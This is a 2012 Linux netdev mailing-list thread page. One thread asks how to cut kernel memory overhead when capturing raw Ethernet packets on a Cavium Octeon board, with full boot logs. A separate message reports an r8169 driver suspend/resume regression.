* Re: Question: How to configure the Ethernet receive buffer allocation (was: (no subject)).
From: Ronny Meeus @ 2012-10-13 9:10 UTC (permalink / raw)
To: Eric Dumazet; +Cc: netdev
In-Reply-To: <1350118698.21172.13737.camel@edumazet-glaptop>
On Sat, Oct 13, 2012 at 10:58 AM, Eric Dumazet <eric.dumazet@gmail.com> wrote:
> On Sat, 2012-10-13 at 10:39 +0200, Ronny Meeus wrote:
>> Hello
>>
>> I have an application that needs to handle a massive amount of
>> Ethernet packets coming from an FPGA on a dedicated Ethernet link.
>> I use a raw Ethernet socket for this. By increasing the receive buffer
>> of the socket, I'm able to capture all the packets and process them in
>> the application. Since this processing can take some time I have
>> increased the receive buffer to 500Mb. The size of the packets is
>> 1000bytes so I'm able to capture 500k packets.
>>
>> What I observe is that the kernel allocates buffers from the
>> slaballoctor for these packets but it takes buffers of 4k while in
>> fact the packet is only 1k (This means 2G of kernel memory is being
>> used).
>> Is it possible to fine-tune this or is that an alternative for this?
>>
>> I already investigated the PACKET_RX_RING solution. This has the
>> advantage that the buffers can be 1k but I do not want to consume
>> 500Mb of virtual memory in my application which is running on MIPS in
>> 32 bit mode where I only have 2G available in user space.
>>
>
> Need some information
>
> - Kernel version
> - Driver used
> - MTU of the link (default MTU is 1500)
>
- Kernel version is: Linux version 2.6.32.27-Cavium-Octeon
- MTU:1500
- About the driver I do not know how to see that but I use Cavium
octeon reference board. This is a part of the bootlog:
Intel(R) PRO/1000 Network Driver - version 7.3.21-k5-NAPI
Copyright (c) 1999-2006 Intel Corporation.
e1000e: Intel(R) PRO/1000 Network Driver - 1.0.2-k2
e1000e: Copyright (c) 1999-2008 Intel Corporation.
Ethernet Channel Bonding Driver: v3.5.0 (November 4, 2008)
octeon_mgmt 1070000100000.ethernet: Version 2.0
octeon_mgmt 1070000100800.ethernet: Version 2.0
The complete log is below.
Thanks.
# dmesg
Linux version 2.6.32.27-Cavium-Octeon (meeusr@devws156) (gcc version
4.3.3 (Cavium Inc. Version: 2_3_0 build 116) ) #34 SMP Mon Oct 8
14:38:02 CEST 2012
CVMSEG size: 2 cache lines (256 bytes)pped:0
Cavium Inc. SDK-2.30/statistics/tx_dropped:0
bootconsole [early0] enabledics/multicast:0
CPU revision is: 000d9008 (Cavium Octeon II)
Checking for the multiply/shift bug... no.errors:0
Checking for the daddiu bug... no._over_errors:0
Determined physical RAM map:ics/rx_crc_errors:0
memory: 0000000000742000 @ 0000000000f9e000 (usable after init)
memory: 000000000a800000 @ 0000000001800000 (usable)
memory: 0000000003c00000 @ 000000000c200000 (usable)
memory: 000000006f800000 @ 0000000020000000 (usable)
Wasting 223888 bytes for tracking 3998 unused pages
Initrd not found or empty - disabling initrdrs:0
Using passed Device Tree.istics/tx_heartbeat_errors:0
Placing 0MB software IO TLB between a80000000341c000 - a80000000345c000
software IO TLB at phys 0x341c000 - 0x345c000:0
Zone PFN ranges:gmt0/statistics/tx_compressed:0
DMA32 0x00000f9e -> 0x000f0000
Normal 0x000f0000 -> 0x000f0000.5.0 (November 4, 2008)
Movable zone start PFN for each nodeVersion 2.0
early_node_map[4] active PFN ranges Version 2.0
0: 0x00000f9e -> 0x000016e0
0: 0x00001800 -> 0x0000c000
0: 0x0000c200 -> 0x0000fe00
0: 0x00020000 -> 0x0008f800
On node 0 totalpages: 516930
DMA32 zone: 7982 pages used for memmap
DMA32 zone: 0 pages reserved
DMA32 zone: 508948 pages, LIFO batch:31
Cavium Hotplug: Available coremask 0x0
PERCPU: Embedded 10 pages/cpu @a80000000347f000 s11264 r8192 d21504 u65536
pcpu-alloc: s11264 r8192 d21504 u65536 alloc=16*4096
pcpu-alloc: [0] 0 [0] 1 [0] 2 [0] 3 [0] 4 [0] 5
Built 1 zonelists in Zone order, mobility grouping on. Total pages: 508948
Kernel command line: bootoctlinux 0 coremask=3f console=ttyS0,115200
PID hash table entries: 4096 (order: 3, 32768 bytes)
Dentry cache hash table entries: 262144 (order: 9, 2097152 bytes)
Inode-cache hash table entries: 131072 (order: 8, 1048576 bytes)
Primary instruction cache 37kB, virtually tagged, 37 way, 8 sets,
linesize 128 bytes.
Primary data cache 32kB, 32-way, 8 sets, linesize 128 bytes.
Secondary unified cache 2048kB, 16-way, 1024 sets, linesize 128 bytes.
Memory: 2027140k/2067720k available (6121k kernel code, 39892k
reserved, 8843k data, 7432k init, 0k highmem)
Hierarchical RCU implementation.
NR_IRQS:453
Calibrating delay loop (skipped) preset value.. 1600.00 BogoMIPS (lpj=8000000)
Security Framework initialized
Mount-cache hash table entries: 256
Checking for the daddi bug... no.
SMP: Booting CPU01 (CoreId 1)...
CPU revision is: 000d9008 (Cavium Octeon II)
SMP: Booting CPU02 (CoreId 2)...
CPU revision is: 000d9008 (Cavium Octeon II)
SMP: Booting CPU03 (CoreId 3)...
CPU revision is: 000d9008 (Cavium Octeon II)
SMP: Booting CPU04 (CoreId 4)...
CPU revision is: 000d9008 (Cavium Octeon II)
SMP: Booting CPU05 (CoreId 5)...
CPU revision is: 000d9008 (Cavium Octeon II)
Brought up 6 CPUs
NET: Registered protocol family 16
PCIe: Initializing port 0
PCIe: Port 0 is SRIO, skipping.
PCIe: Initializing port 1
PCIe: Port 1 is SRIO, skipping.
bio: create slab <bio-0> at 0
SCSI subsystem initialized
libata version 3.00 loaded.
usbcore: registered new interface driver usbfs
usbcore: registered new interface driver hub
usbcore: registered new device driver usb
Switching to clocksource OCTEON_CVMCOUNT
NET: Registered protocol family 2
IP route cache hash table entries: 65536 (order: 7, 524288 bytes)
TCP established hash table entries: 262144 (order: 10, 4194304 bytes)
TCP bind hash table entries: 65536 (order: 8, 1048576 bytes)
TCP: Hash tables configured (established 262144 bind 65536)
TCP reno registered
NET: Registered protocol family 1
RPC: Registered udp transport module.
RPC: Registered tcp transport module.
RPC: Registered tcp NFSv4.1 backchannel transport module.
/proc/octeon_perf: Octeon performance counter interface loaded
octeon_wdt: Initial granularity 5 Sec.
octeon_gpio 1070000000800.gpio-controller: probed
HugeTLB registered 2 MB page size, pre-allocated 0 pages
JFFS2 version 2.2. (NAND) © 2001-2006 Red Hat, Inc.
fuse init (API version 7.13)
msgmni has been set to 3960
alg: No test for stdrng (krng)
io scheduler noop registered
io scheduler anticipatory registered
io scheduler deadline registered
io scheduler cfq registered (default)
Serial: 8250/16550 driver, 6 ports, IRQ sharing disabled
brd: module loaded
loop: module loaded
Uniform Multi-Platform E-IDE driver
ide-gd driver 1.18
pata_octeon_cf 1d040000.compact-flash: version 2.2 16 bit, True IDE.
scsi0 : pata_octeon_cf
ata1: PATA max PIO6 cmd 900000001d040000 ctl 900000001d05000d irq 162
SSFDC read-only Flash Translation layer
slram: not enough parameters.
mdio-octeon: probed
mdio-octeon 1180000001800.mdio: Version 1.0
mdio-octeon: probed
mdio-octeon 1180000001900.mdio: Version 1.0
Intel(R) PRO/1000 Network Driver - version 7.3.21-k5-NAPI
Copyright (c) 1999-2006 Intel Corporation.
e1000e: Intel(R) PRO/1000 Network Driver - 1.0.2-k2
e1000e: Copyright (c) 1999-2008 Intel Corporation.
Ethernet Channel Bonding Driver: v3.5.0 (November 4, 2008)
bonding: Warning: either miimon or arp_interval and arp_ip_target
module parameters must be specified, otherwise bonding will not detect
link failures! see bonding.txt for detail.
sky2 driver version 1.25
octeon_mgmt 1070000100000.ethernet: Version 2.0
octeon_mgmt 1070000100800.ethernet: Version 2.0
ehci_hcd: USB 2.0 'Enhanced' Host Controller (EHCI) Driver
octeon-ehci 16f0000000000.ehci: Octeon EHCI
octeon-ehci 16f0000000000.ehci: new USB bus registered, assigned bus number 1
octeon-ehci 16f0000000000.ehci: irq 154, io mem 0x16f0000000000
octeon-ehci 16f0000000000.ehci: USB 0.0 started, EHCI 1.00
usb usb1: configuration #1 chosen from 1 choice
hub 1-0:1.0: USB hub found
hub 1-0:1.0: 2 ports detected
ohci_hcd: USB 1.1 'Open' Host Controller (OHCI) Driver
octeon-ohci 16f0000000400.ohci: Octeon OHCI
octeon-ohci 16f0000000400.ohci: new USB bus registered, assigned bus number 2
octeon-ohci 16f0000000400.ohci: irq 154, io mem 0x16f0000000400
usb usb2: configuration #1 chosen from 1 choice
ata1.00: ATA-0: CF 1GB, 20071116, max MWDMA2
ata1.00: 1981728 sectors, multi 0: LBA
hub 2-0:1.0: USB hub found
hub 2-0:1.0: 2 ports detected
Initializing USB Mass Storage driver...
usbcore: registered new interface driver usb-storage
USB Mass Storage support registered.
usbcore: registered new interface driver libusual
i2c /dev entries driver
i2c-octeon 1180000001000.i2c: version 2.0
ata1.00: configured for PIO4
rtc-ds1307 0-0068: rtc core: registered ds1337 as rtc0
ata1.00: configured for PIO4
ata1: EH complete
scsi 0:0:0:0: Direct-Access ATA CF 1GB 2007 PQ: 0 ANSI: 5
sd 0:0:0:0: [sda] 1981728 512-byte logical blocks: (1.01 GB/967 MiB)
sd 0:0:0:0: [sda] Write Protect is off
sd 0:0:0:0: [sda] Mode Sense: 00 3a 00 00
sd 0:0:0:0: [sda] Write cache: disabled, read cache: enabled, doesn't
support DPO or FUA
sda: sda1
sd 0:0:0:0: [sda] Attached SCSI disk
at24 0-0056: 32768 byte 24c256 EEPROM (writable)
i2c-octeon 1180000001200.i2c: version 2.0
i2c i2c-0: Added multiplexed i2c bus 2
i2c i2c-0: Added multiplexed i2c bus 3
i2c i2c-0: Added multiplexed i2c bus 4
i2c i2c-0: Added multiplexed i2c bus 5
i2c i2c-0: Added multiplexed i2c bus 6
pcf857x 6-003e: gpios 248..255 on a pca8574
i2c i2c-0: Added multiplexed i2c bus 7
i2c i2c-0: Added multiplexed i2c bus 8
i2c i2c-0: Added multiplexed i2c bus 9
pca954x 0-0070: registered 8 multiplexed busses for I2C switch pca9548
md: linear personality registered for level -1
md: raid0 personality registered for level 0
md: raid1 personality registered for level 1
md: raid10 personality registered for level 10
md: multipath personality registered for level -4
md: faulty personality registered for level -5
device-mapper: ioctl: 4.15.0-ioctl (2009-04-01) initialised: dm-devel@redhat.com
Registered led device: QLM0-Red
Registered led device: QLM0-Green
Registered led device: QLM1-Red
Registered led device: QLM1-Green
Registered led device: QLM2-Red
Registered led device: QLM2-Green
oprofile: using mips/octeon performance monitoring.
ip_tables: (C) 2000-2006 Netfilter Core Team
arp_tables: (C) 2002 David S. Miller
TCP cubic registered
NET: Registered protocol family 17
Bridge firewalling registered
802.1Q VLAN Support v1.8 Ben Greear <greearb@candelatech.com>
All bugs added by David S. Miller <davem@redhat.com>
L2 lock: TLB refill 256 bytes
L2 lock: General exception 128 bytes
L2 lock: low-level interrupt 128 bytes
L2 lock: interrupt 640 bytes
L2 lock: memcpy 1152 bytes
1180000000800.serial: ttyS0 at MMIO 0x1180000000800 (irq = 125) is a OCTEON
console [ttyS0] enabled, bootconsole disabled
1180000000c00.serial: ttyS1 at MMIO 0x1180000000c00 (irq = 126) is a OCTEON
Bootbus flash: Setting flash for 8MB flash at 0x1f400000
phys_mapped_flash: Found 1 x16 devices at 0x0 in 8-bit bank
Amd/Fujitsu Extended Query Table at 0x0040
phys_mapped_flash: Swapping erase regions for broken CFI table.
number of CFI chips: 1
cfi_cmdset_0002: Disabling erase-suspend-program due to code brokenness.
NAND device: Manufacturer ID: 0x2c, Chip ID: 0x68 (Micron NAND 4GiB 3,3V 8-bit)
Scanning device for bad blocks
Bad eraseblock 0 at 0x000000000000
Bad eraseblock 8 at 0x000000400000
Bad eraseblock 9 at 0x000000480000
Bad eraseblock 10 at 0x000000500000
Bad eraseblock 11 at 0x000000580000
Bad eraseblock 12 at 0x000000600000
Bad eraseblock 13 at 0x000000680000
Bad eraseblock 14 at 0x000000700000
Bad eraseblock 72 at 0x000002400000
Bad eraseblock 73 at 0x000002480000
Bad eraseblock 74 at 0x000002500000
Bad eraseblock 8080 at 0x0000fc800000
SRIO0: Registering port
SRIO0: Port in host mode
SRIO1: Registering port
SRIO1: Port in host mode
rtc-ds1307 0-0068: setting system clock to 2001-09-17 19:32:48 UTC (1000755168)
Freeing unused kernel memory: 7432k freed
ioctl32(getty:990): Unknown cmd fd(0) cmd(00007416){t:'t';sz:0}
arg(7f73ddc0) on /dev/ttyS0
mgmt1: Link is up - 100/Full
mgmt0: Link is up - 1000/Full
device mgmt0 entered promiscuous mode
#
^ permalink raw reply
* Re: r8169 delay / segfault
From: Roland Stigge @ 2012-10-13 9:59 UTC (permalink / raw)
To: Francois Romieu; +Cc: nic_swsd, netdev, hayeswang
In-Reply-To: <50789649.3080202@antcom.de>
Hi,
On 13/10/12 00:14, Roland Stigge wrote:
>> Can you send the XID line from the r8169 driver ? It should be in the
>> upper part of the dmesg log.
>
> Oct 12 23:46:45 darwin kernel: [ 1.562479] r8169 Gigabit Ethernet driver 2.3LK-NAPI loaded
> Oct 12 23:46:45 darwin kernel: [ 1.562728] r8169 0000:02:00.0: irq 40 for MSI/MSI-X
> Oct 12 23:46:45 darwin kernel: [ 1.562968] r8169 0000:02:00.0: eth0: RTL8168evl/8111evl at 0xffffc9000066c000, e8:03:9a:dc:e7:57, XID 0c900800 IRQ 40
> Oct 12 23:46:45 darwin kernel: [ 1.562972] r8169 0000:02:00.0: eth0: jumbo features [frames: 9200 bytes, tx checksumming: ko]
Additional info: After reloading the driver after the failed state, I get:
[ 2454.524089] r8169 Gigabit Ethernet driver 2.3LK-NAPI loaded
[ 2454.537300] r8169 0000:02:00.0: Refused to change power state, currently in D3
[ 2454.537334] r8169 0000:02:00.0: cache line size of 64 is not supported
[ 2454.537342] r8169 0000:02:00.0: (unregistered net_device): Mem-Wr-Inval unavailable
[ 2454.537425] r8169 0000:02:00.0: (unregistered net_device): unknown MAC, using family default
[ 2454.547513] r8169 0000:02:00.0: (unregistered net_device): rtl_chipcmd_cond == 1 (loop: 100, delay: 100).
[ 2454.548092] r8169 0000:02:00.0: eth0: RTL8168b/8111b at 0xffffc9000066c000, ff:ff:ff:ff:ff:ff, XID 9cf0f8ff IRQ 19
[ 2454.548103] r8169 0000:02:00.0: eth0: jumbo features [frames: 4080 bytes, tx checksumming: ko]
What does the different device ID, XID and IRQ number mean? How can we
force the device out of D3 power state?
I also compared with kernel 3.5, and it seems like a regression to me,
With 3.5, it works and tells on resume:
[ 37.643061] Extended CMOS year: 2000
[ 37.644466] ACPI: Low-level resume complete
[ 37.644516] PM: Restoring platform NVS memory
[ 37.644901] Extended CMOS year: 2000
[ 37.644944] Enabling non-boot CPUs ...
[ 37.645127] Booting Node 0 Processor 1 APIC 0x1
[ 37.659483] CPU1 is up
[ 37.659662] Booting Node 0 Processor 2 APIC 0x2
[ 37.673887] CPU2 is up
[ 37.674060] Booting Node 0 Processor 3 APIC 0x3
[ 37.688354] CPU3 is up
[ 37.693255] ACPI: Waking up from system sleep state S3
[ 37.742293] PM: noirq resume of devices complete after 1.725 msecs
[ 37.742392] PM: early resume of devices complete after 0.050 msecs
[ 37.742421] i915 0000:00:02.0: >setting latency timer to 64
[ 37.742445] ehci_hcd 0000:00:1d.0: >setting latency timer to 64
[ 37.742484] ata_piix 0000:00:1f.2: >setting latency timer to 64
[ 37.742496] snd_hda_intel 0000:00:1b.0: >irq 48 for MSI/MSI-X
[ 37.743872] ata_piix 0000:00:1f.5: >setting latency timer to 64
[ 37.743887] r8169 0000:02:00.0: >wake-up capability disabled by ACPI
[ 37.743972] ata1.00: _GTF evaluation failed (AE 0x1001)
[ 37.789378] [drm] Enabling RC6 states: RC6 on, RC6p on, RC6pp off
[ 37.825318] r8169 0000:02:00.0: >eth0: link down
[ 37.992301] usb 1-1.6: >reset high-speed USB device number 4 using ehci_hcd
[ 38.327824] usb 1-1.5: >reset full-speed USB device number 3 using ehci_hcd
[ 38.422689] btusb 1-1.5:1.0: >no reset_resume for driver btusb?
[ 38.422691] btusb 1-1.5:1.1: >no reset_resume for driver btusb?
[ 38.766989] ata2.00: failed to resume link (SControl 30)
[ 39.086505] ata1.01: failed to resume link (SControl 0)
[ 39.242350] ata1.00: SATA link up 6.0 Gbps (SStatus 133 SControl 330)
[ 39.242362] ata1.01: SATA link down (SStatus 0 SControl 0)
[ 39.258694] ata1.00: configured for UDMA/133
[ 39.258925] sd 0:0:0:0: >[sda] Starting disk
[ 39.793487] ata2.01: failed to resume link (SControl 0)
[ 39.804987] ata2.00: SATA link down (SStatus 4 SControl 30)
[ 39.805001] ata2.01: SATA link down (SStatus 0 SControl 0)
[ 39.805211] PM: resume of devices complete after 2065.886 msecs
[ 39.805431] PM: Finishing wakeup.
[ 39.805432] Restarting tasks ... done.
Thanks in advance,
Roland
^ permalink raw reply
* Re: Question: How to configure the Ethernet receive buffer allocation (was: (no subject)).
From: Ronny Meeus @ 2012-10-13 10:14 UTC (permalink / raw)
To: Eric Dumazet; +Cc: netdev
In-Reply-To: <CAMJ=MEcqAsg6tsy9ALzcGqXmL9fQ2cmW6xXxup40iB2MrfuT8g@mail.gmail.com>
On Sat, Oct 13, 2012 at 11:10 AM, Ronny Meeus <ronny.meeus@gmail.com> wrote:
> On Sat, Oct 13, 2012 at 10:58 AM, Eric Dumazet <eric.dumazet@gmail.com> wrote:
>> On Sat, 2012-10-13 at 10:39 +0200, Ronny Meeus wrote:
>>> Hello
>>>
>>> I have an application that needs to handle a massive amount of
>>> Ethernet packets coming from an FPGA on a dedicated Ethernet link.
>>> I use a raw Ethernet socket for this. By increasing the receive buffer
>>> of the socket, I'm able to capture all the packets and process them in
>>> the application. Since this processing can take some time I have
>>> increased the receive buffer to 500Mb. The size of the packets is
>>> 1000bytes so I'm able to capture 500k packets.
>>>
>>> What I observe is that the kernel allocates buffers from the
>>> slaballoctor for these packets but it takes buffers of 4k while in
>>> fact the packet is only 1k (This means 2G of kernel memory is being
>>> used).
>>> Is it possible to fine-tune this or is that an alternative for this?
>>>
>>> I already investigated the PACKET_RX_RING solution. This has the
>>> advantage that the buffers can be 1k but I do not want to consume
>>> 500Mb of virtual memory in my application which is running on MIPS in
>>> 32 bit mode where I only have 2G available in user space.
>>>
>>
>> Need some information
>>
>> - Kernel version
>> - Driver used
>> - MTU of the link (default MTU is 1500)
>>
>
> - Kernel version is: Linux version 2.6.32.27-Cavium-Octeon
> - MTU:1500
> - About the driver I do not know how to see that but I use Cavium
> octeon reference board. This is a part of the bootlog:
> Intel(R) PRO/1000 Network Driver - version 7.3.21-k5-NAPI
> Copyright (c) 1999-2006 Intel Corporation.
> e1000e: Intel(R) PRO/1000 Network Driver - 1.0.2-k2
> e1000e: Copyright (c) 1999-2008 Intel Corporation.
> Ethernet Channel Bonding Driver: v3.5.0 (November 4, 2008)
> octeon_mgmt 1070000100000.ethernet: Version 2.0
> octeon_mgmt 1070000100800.ethernet: Version 2.0
>
> The complete log is below.
> Thanks.
>
> # dmesg
> Linux version 2.6.32.27-Cavium-Octeon (meeusr@devws156) (gcc version
> 4.3.3 (Cavium Inc. Version: 2_3_0 build 116) ) #34 SMP Mon Oct 8
> 14:38:02 CEST 2012
> CVMSEG size: 2 cache lines (256 bytes)pped:0
> Cavium Inc. SDK-2.30/statistics/tx_dropped:0
> bootconsole [early0] enabledics/multicast:0
> CPU revision is: 000d9008 (Cavium Octeon II)
> Checking for the multiply/shift bug... no.errors:0
> Checking for the daddiu bug... no._over_errors:0
> Determined physical RAM map:ics/rx_crc_errors:0
> memory: 0000000000742000 @ 0000000000f9e000 (usable after init)
> memory: 000000000a800000 @ 0000000001800000 (usable)
> memory: 0000000003c00000 @ 000000000c200000 (usable)
> memory: 000000006f800000 @ 0000000020000000 (usable)
> Wasting 223888 bytes for tracking 3998 unused pages
> Initrd not found or empty - disabling initrdrs:0
> Using passed Device Tree.istics/tx_heartbeat_errors:0
> Placing 0MB software IO TLB between a80000000341c000 - a80000000345c000
> software IO TLB at phys 0x341c000 - 0x345c000:0
> Zone PFN ranges:gmt0/statistics/tx_compressed:0
> DMA32 0x00000f9e -> 0x000f0000
> Normal 0x000f0000 -> 0x000f0000.5.0 (November 4, 2008)
> Movable zone start PFN for each nodeVersion 2.0
> early_node_map[4] active PFN ranges Version 2.0
> 0: 0x00000f9e -> 0x000016e0
> 0: 0x00001800 -> 0x0000c000
> 0: 0x0000c200 -> 0x0000fe00
> 0: 0x00020000 -> 0x0008f800
> On node 0 totalpages: 516930
> DMA32 zone: 7982 pages used for memmap
> DMA32 zone: 0 pages reserved
> DMA32 zone: 508948 pages, LIFO batch:31
> Cavium Hotplug: Available coremask 0x0
> PERCPU: Embedded 10 pages/cpu @a80000000347f000 s11264 r8192 d21504 u65536
> pcpu-alloc: s11264 r8192 d21504 u65536 alloc=16*4096
> pcpu-alloc: [0] 0 [0] 1 [0] 2 [0] 3 [0] 4 [0] 5
> Built 1 zonelists in Zone order, mobility grouping on. Total pages: 508948
> Kernel command line: bootoctlinux 0 coremask=3f console=ttyS0,115200
> PID hash table entries: 4096 (order: 3, 32768 bytes)
> Dentry cache hash table entries: 262144 (order: 9, 2097152 bytes)
> Inode-cache hash table entries: 131072 (order: 8, 1048576 bytes)
> Primary instruction cache 37kB, virtually tagged, 37 way, 8 sets,
> linesize 128 bytes.
> Primary data cache 32kB, 32-way, 8 sets, linesize 128 bytes.
> Secondary unified cache 2048kB, 16-way, 1024 sets, linesize 128 bytes.
> Memory: 2027140k/2067720k available (6121k kernel code, 39892k
> reserved, 8843k data, 7432k init, 0k highmem)
> Hierarchical RCU implementation.
> NR_IRQS:453
> Calibrating delay loop (skipped) preset value.. 1600.00 BogoMIPS (lpj=8000000)
> Security Framework initialized
> Mount-cache hash table entries: 256
> Checking for the daddi bug... no.
> SMP: Booting CPU01 (CoreId 1)...
> CPU revision is: 000d9008 (Cavium Octeon II)
> SMP: Booting CPU02 (CoreId 2)...
> CPU revision is: 000d9008 (Cavium Octeon II)
> SMP: Booting CPU03 (CoreId 3)...
> CPU revision is: 000d9008 (Cavium Octeon II)
> SMP: Booting CPU04 (CoreId 4)...
> CPU revision is: 000d9008 (Cavium Octeon II)
> SMP: Booting CPU05 (CoreId 5)...
> CPU revision is: 000d9008 (Cavium Octeon II)
> Brought up 6 CPUs
> NET: Registered protocol family 16
> PCIe: Initializing port 0
> PCIe: Port 0 is SRIO, skipping.
> PCIe: Initializing port 1
> PCIe: Port 1 is SRIO, skipping.
> bio: create slab <bio-0> at 0
> SCSI subsystem initialized
> libata version 3.00 loaded.
> usbcore: registered new interface driver usbfs
> usbcore: registered new interface driver hub
> usbcore: registered new device driver usb
> Switching to clocksource OCTEON_CVMCOUNT
> NET: Registered protocol family 2
> IP route cache hash table entries: 65536 (order: 7, 524288 bytes)
> TCP established hash table entries: 262144 (order: 10, 4194304 bytes)
> TCP bind hash table entries: 65536 (order: 8, 1048576 bytes)
> TCP: Hash tables configured (established 262144 bind 65536)
> TCP reno registered
> NET: Registered protocol family 1
> RPC: Registered udp transport module.
> RPC: Registered tcp transport module.
> RPC: Registered tcp NFSv4.1 backchannel transport module.
> /proc/octeon_perf: Octeon performance counter interface loaded
> octeon_wdt: Initial granularity 5 Sec.
> octeon_gpio 1070000000800.gpio-controller: probed
> HugeTLB registered 2 MB page size, pre-allocated 0 pages
> JFFS2 version 2.2. (NAND) © 2001-2006 Red Hat, Inc.
> fuse init (API version 7.13)
> msgmni has been set to 3960
> alg: No test for stdrng (krng)
> io scheduler noop registered
> io scheduler anticipatory registered
> io scheduler deadline registered
> io scheduler cfq registered (default)
> Serial: 8250/16550 driver, 6 ports, IRQ sharing disabled
> brd: module loaded
> loop: module loaded
> Uniform Multi-Platform E-IDE driver
> ide-gd driver 1.18
> pata_octeon_cf 1d040000.compact-flash: version 2.2 16 bit, True IDE.
> scsi0 : pata_octeon_cf
> ata1: PATA max PIO6 cmd 900000001d040000 ctl 900000001d05000d irq 162
> SSFDC read-only Flash Translation layer
> slram: not enough parameters.
> mdio-octeon: probed
> mdio-octeon 1180000001800.mdio: Version 1.0
> mdio-octeon: probed
> mdio-octeon 1180000001900.mdio: Version 1.0
> Intel(R) PRO/1000 Network Driver - version 7.3.21-k5-NAPI
> Copyright (c) 1999-2006 Intel Corporation.
> e1000e: Intel(R) PRO/1000 Network Driver - 1.0.2-k2
> e1000e: Copyright (c) 1999-2008 Intel Corporation.
> Ethernet Channel Bonding Driver: v3.5.0 (November 4, 2008)
> bonding: Warning: either miimon or arp_interval and arp_ip_target
> module parameters must be specified, otherwise bonding will not detect
> link failures! see bonding.txt for detail.
> sky2 driver version 1.25
> octeon_mgmt 1070000100000.ethernet: Version 2.0
> octeon_mgmt 1070000100800.ethernet: Version 2.0
> ehci_hcd: USB 2.0 'Enhanced' Host Controller (EHCI) Driver
> octeon-ehci 16f0000000000.ehci: Octeon EHCI
> octeon-ehci 16f0000000000.ehci: new USB bus registered, assigned bus number 1
> octeon-ehci 16f0000000000.ehci: irq 154, io mem 0x16f0000000000
> octeon-ehci 16f0000000000.ehci: USB 0.0 started, EHCI 1.00
> usb usb1: configuration #1 chosen from 1 choice
> hub 1-0:1.0: USB hub found
> hub 1-0:1.0: 2 ports detected
> ohci_hcd: USB 1.1 'Open' Host Controller (OHCI) Driver
> octeon-ohci 16f0000000400.ohci: Octeon OHCI
> octeon-ohci 16f0000000400.ohci: new USB bus registered, assigned bus number 2
> octeon-ohci 16f0000000400.ohci: irq 154, io mem 0x16f0000000400
> usb usb2: configuration #1 chosen from 1 choice
> ata1.00: ATA-0: CF 1GB, 20071116, max MWDMA2
> ata1.00: 1981728 sectors, multi 0: LBA
> hub 2-0:1.0: USB hub found
> hub 2-0:1.0: 2 ports detected
> Initializing USB Mass Storage driver...
> usbcore: registered new interface driver usb-storage
> USB Mass Storage support registered.
> usbcore: registered new interface driver libusual
> i2c /dev entries driver
> i2c-octeon 1180000001000.i2c: version 2.0
> ata1.00: configured for PIO4
> rtc-ds1307 0-0068: rtc core: registered ds1337 as rtc0
> ata1.00: configured for PIO4
> ata1: EH complete
> scsi 0:0:0:0: Direct-Access ATA CF 1GB 2007 PQ: 0 ANSI: 5
> sd 0:0:0:0: [sda] 1981728 512-byte logical blocks: (1.01 GB/967 MiB)
> sd 0:0:0:0: [sda] Write Protect is off
> sd 0:0:0:0: [sda] Mode Sense: 00 3a 00 00
> sd 0:0:0:0: [sda] Write cache: disabled, read cache: enabled, doesn't
> support DPO or FUA
> sda: sda1
> sd 0:0:0:0: [sda] Attached SCSI disk
> at24 0-0056: 32768 byte 24c256 EEPROM (writable)
> i2c-octeon 1180000001200.i2c: version 2.0
> i2c i2c-0: Added multiplexed i2c bus 2
> i2c i2c-0: Added multiplexed i2c bus 3
> i2c i2c-0: Added multiplexed i2c bus 4
> i2c i2c-0: Added multiplexed i2c bus 5
> i2c i2c-0: Added multiplexed i2c bus 6
> pcf857x 6-003e: gpios 248..255 on a pca8574
> i2c i2c-0: Added multiplexed i2c bus 7
> i2c i2c-0: Added multiplexed i2c bus 8
> i2c i2c-0: Added multiplexed i2c bus 9
> pca954x 0-0070: registered 8 multiplexed busses for I2C switch pca9548
> md: linear personality registered for level -1
> md: raid0 personality registered for level 0
> md: raid1 personality registered for level 1
> md: raid10 personality registered for level 10
> md: multipath personality registered for level -4
> md: faulty personality registered for level -5
> device-mapper: ioctl: 4.15.0-ioctl (2009-04-01) initialised: dm-devel@redhat.com
> Registered led device: QLM0-Red
> Registered led device: QLM0-Green
> Registered led device: QLM1-Red
> Registered led device: QLM1-Green
> Registered led device: QLM2-Red
> Registered led device: QLM2-Green
> oprofile: using mips/octeon performance monitoring.
> ip_tables: (C) 2000-2006 Netfilter Core Team
> arp_tables: (C) 2002 David S. Miller
> TCP cubic registered
> NET: Registered protocol family 17
> Bridge firewalling registered
> 802.1Q VLAN Support v1.8 Ben Greear <greearb@candelatech.com>
> All bugs added by David S. Miller <davem@redhat.com>
> L2 lock: TLB refill 256 bytes
> L2 lock: General exception 128 bytes
> L2 lock: low-level interrupt 128 bytes
> L2 lock: interrupt 640 bytes
> L2 lock: memcpy 1152 bytes
> 1180000000800.serial: ttyS0 at MMIO 0x1180000000800 (irq = 125) is a OCTEON
> console [ttyS0] enabled, bootconsole disabled
> 1180000000c00.serial: ttyS1 at MMIO 0x1180000000c00 (irq = 126) is a OCTEON
> Bootbus flash: Setting flash for 8MB flash at 0x1f400000
> phys_mapped_flash: Found 1 x16 devices at 0x0 in 8-bit bank
> Amd/Fujitsu Extended Query Table at 0x0040
> phys_mapped_flash: Swapping erase regions for broken CFI table.
> number of CFI chips: 1
> cfi_cmdset_0002: Disabling erase-suspend-program due to code brokenness.
> NAND device: Manufacturer ID: 0x2c, Chip ID: 0x68 (Micron NAND 4GiB 3,3V 8-bit)
> Scanning device for bad blocks
> Bad eraseblock 0 at 0x000000000000
> Bad eraseblock 8 at 0x000000400000
> Bad eraseblock 9 at 0x000000480000
> Bad eraseblock 10 at 0x000000500000
> Bad eraseblock 11 at 0x000000580000
> Bad eraseblock 12 at 0x000000600000
> Bad eraseblock 13 at 0x000000680000
> Bad eraseblock 14 at 0x000000700000
> Bad eraseblock 72 at 0x000002400000
> Bad eraseblock 73 at 0x000002480000
> Bad eraseblock 74 at 0x000002500000
> Bad eraseblock 8080 at 0x0000fc800000
> SRIO0: Registering port
> SRIO0: Port in host mode
> SRIO1: Registering port
> SRIO1: Port in host mode
> rtc-ds1307 0-0068: setting system clock to 2001-09-17 19:32:48 UTC (1000755168)
> Freeing unused kernel memory: 7432k freed
> ioctl32(getty:990): Unknown cmd fd(0) cmd(00007416){t:'t';sz:0}
> arg(7f73ddc0) on /dev/ttyS0
> mgmt1: Link is up - 100/Full
> mgmt0: Link is up - 1000/Full
> device mgmt0 entered promiscuous mode
> #
The ideal solution would be to have a solution were we use a packet
ring to store the packets in but use a standard socket to receive the
packets from this ring. In this way we can combine the ideal memory
usage of the packet ring solution (in fact almost no overhead)
combined with the virtual memory that must not be wasted in the
application space.
